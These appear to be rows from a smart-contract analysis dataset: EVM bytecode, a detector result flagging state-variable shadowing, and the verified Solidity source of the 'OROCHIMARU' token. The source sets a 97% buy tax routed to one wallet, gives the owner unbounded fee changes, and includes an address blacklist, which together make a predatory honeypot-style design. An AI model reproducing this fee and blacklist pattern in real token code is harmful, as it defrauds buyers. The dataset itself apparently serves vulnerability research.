4815290600101906020018083116106cb57829003601f168201915b5050505050905090565b60006106ff338484610cf1565b6001905092915050565b6000600754905090565b6000610720848484610f72565b6107b984336107b485600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b610cf1565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e15780601f106108b6576101008083540402835291602001916108e1565b820191906000526020600020905b8154815290600101906020018083116108c457829003601f168201915b5050505050905090565b60006108f8338484610f72565b6001905092915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610adf578082015181840152602081019050610ac4565b50505050905090810190601f168015610b0c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b2e57600080fd5b505af1158015610b42573d6000803e3d6000fd5b50505050600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610e87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561103d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561128c576111af81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115bc90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c7565b6112de81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061139961134b606461133d605a8561164690919063ffffffff16565b61171390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115bc90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114626113f3600a8361171390919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115bc90919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111515156115ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015151561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415611659576000905061170d565b6000828402905082848281151561166c57fe5b04141515611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f81526020017f770000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b809150505b92915050565b6000808211151561178c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b6000828481151561179957fe5b049050809150509291505056fea165627a7a72305820e52139aca8e93de2ea821074ed2ac424ad2f50967818b4969cfd8938d4c6930a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
5,659
0x1a4fdd96abdf41f3aa7586e66acfc3d382c509cf
/** *Submitted for verification at Etherscan.io on 2022-04-01 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract OROCHIMARU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "OROCHIMARU"; string private constant _symbol = "OROCHIMARU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xEAB2acc5a78A2617411B9E70F44B296F6a5C1448); address payable private _marketingAddress = payable(0xEAB2acc5a78A2617411B9E70F44B296F6a5C1448); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b8063a2a957bb1461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b41146101fe57806398a5c3151461047f57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611920565b6105ca565b005b34801561020a57600080fd5b50604080518082018252600a8152694f524f4348494d41525560b01b6020820152905161023791906119e5565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611a3a565b610669565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b5066038d7ea4c680005b604051908152602001610237565b3480156102d857600080fd5b506102606102e7366004611a66565b610680565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610237565b34801561032a57600080fd5b50601554610290906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611aa7565b6106e9565b34801561036a57600080fd5b506101fc610379366004611ad4565b610734565b34801561038a57600080fd5b506101fc61077c565b34801561039f57600080fd5b506102be6103ae366004611aa7565b6107c7565b3480156103bf57600080fd5b506101fc6107e9565b3480156103d457600080fd5b506101fc6103e3366004611aef565b61085d565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611aa7565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b0316610290565b34801561045557600080fd5b506101fc610464366004611ad4565b61088c565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b506101fc61049a366004611aef565b6108d4565b3480156104ab57600080fd5b506101fc6104ba366004611b08565b610903565b3480156104cb57600080fd5b506102606104da366004611a3a565b610941565b3480156104eb57600080fd5b506102606104fa366004611aa7565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc61094e565b34801561053057600080fd5b506101fc61053f366004611b3a565b6109a2565b34801561055057600080fd5b506102be61055f366004611bbe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101fc6105a5366004611aef565b610a43565b3480156105b657600080fd5b506101fc6105c5366004611aa7565b610a72565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611bf7565b60405180910390fd5b60005b81518110156106655760016010600084848151811061062157610621611c2c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065d81611c58565b915050610600565b5050565b6000610676338484610b5c565b5060015b92915050565b600061068d848484610c80565b6106df84336106da85604051806060016040528060288152602001611d70602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bc565b610b5c565b5060019392505050565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105f490611bf7565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075e5760405162461bcd60e51b81526004016105f490611bf7565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b157506013546001600160a01b0316336001600160a01b0316145b6107ba57600080fd5b476107c4816111f6565b50565b6001600160a01b03811660009081526002602052604081205461067a90611230565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016105f490611bf7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016105f490611bf7565b601655565b6000546001600160a01b031633146108b65760405162461bcd60e51b81526004016105f490611bf7565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016105f490611bf7565b601855565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016105f490611bf7565b600893909355600a91909155600955600b55565b6000610676338484610c80565b6012546001600160a01b0316336001600160a01b0316148061098357506013546001600160a01b0316336001600160a01b0316145b61098c57600080fd5b6000610997306107c7565b90506107c4816112b4565b6000546001600160a01b031633146109cc5760405162461bcd60e51b81526004016105f490611bf7565b60005b82811015610a3d5781600560008686858181106109ee576109ee611c2c565b9050602002016020810190610a039190611aa7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3581611c58565b9150506109cf565b50505050565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016105f490611bf7565b601755565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016105f490611bf7565b6001600160a01b038116610b015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610d465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610da85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610dd457506000546001600160a01b03838116911614155b156110b557601554600160a01b900460ff16610e6d576000546001600160a01b03848116911614610e6d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b601654811115610ebf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0157506001600160a01b03821660009081526010602052604090205460ff16155b610f595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b03838116911614610fde5760175481610f7b846107c7565b610f859190611c71565b10610fde5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000610fe9306107c7565b6018546016549192508210159082106110025760165491505b8080156110195750601554600160a81b900460ff16155b801561103357506015546001600160a01b03868116911614155b80156110485750601554600160b01b900460ff165b801561106d57506001600160a01b03851660009081526005602052604090205460ff16155b801561109257506001600160a01b03841660009081526005602052604090205460ff16155b156110b2576110a0826112b4565b4780156110b0576110b0476111f6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f757506001600160a01b03831660009081526005602052604090205460ff165b8061112957506015546001600160a01b0385811691161480159061112957506015546001600160a01b03848116911614155b15611136575060006111b0565b6015546001600160a01b03858116911614801561116157506014546001600160a01b03848116911614155b1561117357600854600c55600954600d555b6015546001600160a01b03848116911614801561119e57506014546001600160a01b03858116911614155b156111b057600a54600c55600b54600d555b610a3d8484848461142e565b600081848411156111e05760405162461bcd60e51b81526004016105f491906119e5565b5060006111ed8486611c89565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610665573d6000803e3d6000fd5b60006006548211156112975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b60006112a161145c565b90506112ad838261147f565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fc576112fc611c2c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611355573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113799190611ca0565b8160018151811061138c5761138c611c2c565b6001600160a01b0392831660209182029290920101526014546113b29130911684610b5c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113eb908590600090869030904290600401611cbd565b600060405180830381600087803b15801561140557600080fd5b505af1158015611419573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061143b5761143b6114c1565b6114468484846114ef565b80610a3d57610a3d600e54600c55600f54600d55565b60008060006114696115e6565b9092509050611478828261147f565b9250505090565b60006112ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611624565b600c541580156114d15750600d54155b156114d857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150187611652565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153390876116af565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156290866116f1565b6001600160a01b03891660009081526002602052604090205561158481611750565b61158e848361179a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115d391815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c68000611600828261147f565b82101561161b5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116455760405162461bcd60e51b81526004016105f491906119e5565b5060006111ed8486611d2e565b600080600080600080600080600061166f8a600c54600d546117be565b925092509250600061167f61145c565b905060008060006116928e878787611813565b919e509c509a50959850939650919450505050509193955